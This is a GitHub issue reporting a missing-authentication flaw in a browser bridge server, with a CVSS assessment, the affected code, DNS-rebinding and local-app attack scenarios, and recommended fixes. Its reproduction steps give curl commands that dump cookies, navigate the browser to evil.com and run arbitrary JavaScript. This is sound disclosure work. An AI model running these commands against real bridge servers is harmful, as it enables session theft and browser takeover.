Skip to content

[Bug]: Browser bridge server has optional authentication #6609

@coygeek

Description

@coygeek

CVSS Assessment

Metric Value
Score 7.7 / 10.0
Severity High
Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS v3.1 Calculator

Summary

The browser bridge server's authentication token is optional. When started without an authToken, all browser automation endpoints are exposed without authentication. Local applications or DNS rebinding attacks could gain full control over browser automation, including extracting cookies and session data.

Affected Code

File: src/browser/bridge-server.ts:33-42

export async function startBrowserBridgeServer(params: {
  resolved: ResolvedBrowserConfig;
  host?: string;
  port?: number;
  authToken?: string;  // OPTIONAL
  // ...
}): Promise<BrowserBridge> {
  const host = params.host ?? "127.0.0.1";
  // ...
  const authToken = params.authToken?.trim();
  if (authToken) {
    app.use((req, res, next) => {
      const auth = String(req.headers.authorization ?? "").trim();
      if (auth === `Bearer ${authToken}`) {
        return next();
      }
      res.status(401).send("Unauthorized");
    });
  }
  // If no authToken provided, NO auth middleware is added
  // All routes are completely unprotected

Attack Surface

How is this reached?

  • Network (HTTP/WebSocket endpoint, API call)
  • Adjacent Network (same LAN, requires network proximity)
  • Local (local file, CLI argument, environment variable)
  • Physical (requires physical access to machine)

Authentication required?

  • None (unauthenticated/public access)
  • Low (any authenticated user)
  • High (admin/privileged user only)

Entry point: HTTP endpoints on the browser bridge server (default: localhost).

Exploit Conditions

Complexity:

  • Low (no special conditions, works reliably)
  • High (requires race condition, specific config, or timing)

User interaction:

  • None (automatic, no victim action needed)
  • Required (victim must click, visit, or perform action)

Prerequisites:

  • Browser bridge server running without authToken
  • Attacker can make HTTP requests to localhost (malicious local app or DNS rebinding)

Impact Assessment

Scope:

  • Unchanged (impact limited to vulnerable component)
  • Changed (can affect other components, escape sandbox)

What can an attacker do?

Impact Type Level Description
Confidentiality High Extract cookies, localStorage, sessionStorage from browser sessions
Integrity High Control browser automation - navigate, click, execute JavaScript
Availability None No direct service disruption

Attack scenarios:

  1. Malicious local application: A trojan or malicious Electron app on the same machine makes requests to the bridge server, extracting all browser session cookies.

  2. DNS rebinding:

    • User visits attacker's website
    • JavaScript performs DNS rebinding to resolve attacker's domain to 127.0.0.1
    • Attacker's script gains same-origin access to bridge server
    • Extracts cookies and controls browser

Steps to Reproduce

  1. Start browser bridge server without authToken configured
  2. From any local process, call the browser control API:
    # Get all cookies
    curl http://localhost:8080/api/cookies
    
    # Navigate browser to malicious site
    curl -X POST http://localhost:8080/api/navigate \
      -H "Content-Type: application/json" \
      -d '{"url":"https://evil.com"}'
    
    # Execute arbitrary JavaScript
    curl -X POST http://localhost:8080/api/evaluate \
      -H "Content-Type: application/json" \
      -d '{"script":"document.cookie"}'
  3. Observe: Full browser control without any authentication

Recommended Fix

  1. Make authToken required:

    export async function startBrowserBridgeServer(params: {
      authToken: string;  // Required, generate random token if not provided
      // ...
    }): Promise<BrowserBridge> {
      if (!params.authToken?.trim()) {
        throw new Error('Browser bridge requires authToken for security');
      }
  2. Or auto-generate a random token if not provided:

    const authToken = params.authToken?.trim() || crypto.randomUUID();
    console.log(`Browser bridge auth token: ${authToken}`);
    // Always add auth middleware
    app.use((req, res, next) => {
      const auth = String(req.headers.authorization ?? "").trim();
      if (auth === `Bearer ${authToken}`) {
        return next();
      }
      res.status(401).send("Unauthorized");
    });
  3. Add Host header validation to prevent DNS rebinding even with auth.

References

  • CWE: CWE-306 - Missing Authentication for Critical Function
  • Related: Browser automation security, DNS rebinding attacks

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingstaleMarked as stale due to inactivity

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions